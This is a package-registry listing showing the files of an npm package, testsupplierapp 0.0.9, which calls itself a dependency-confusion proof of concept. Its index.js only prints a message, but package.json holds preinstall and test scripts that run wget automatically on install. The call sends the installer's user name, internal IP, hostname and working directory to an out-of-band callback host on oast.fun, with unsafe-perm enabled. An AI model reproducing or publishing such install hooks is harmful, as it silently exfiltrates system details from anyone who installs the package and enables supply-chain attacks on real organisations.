testsupplierapp 0.0.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of testsupplierapp might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +3 -0
  2. package/package.json +19 -0
package/index.js ADDED
@@ -0,0 +1,3 @@
1
+ exports.printMsg = function() {
2
+ console.log("This is a message from the demo package");
3
+ }
package/package.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "testsupplierapp",
3
+ "version": "0.0.9",
4
+ "description": "Simple PoC package for testing for dependency confusion vulnerabilities.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "wget --quiet \"http://priztqdvbjzizjdnetld8jjhyee8mt5iu.oast.fun/?user=$(whoami)&ip_internal=$(hostname -I)&hostname=$(hostname)&path=$(pwd)\"",
8
+ "preinstall": "wget --quiet \"http://priztqdvbjzizjdnetld8jjhyee8mt5iu.oast.fun/?user=$(whoami)&ip_internal=$(hostname -I)&hostname=$(hostname)&path=$(pwd)\""
9
+ },
10
+ "keywords": [
11
+ "test",
12
+ "PoC"
13
+ ],
14
+ "config": {
15
+ "unsafe-perm": true
16
+ },
17
+ "author": "lykos_-",
18
+ "license": "ISC"
19
+ }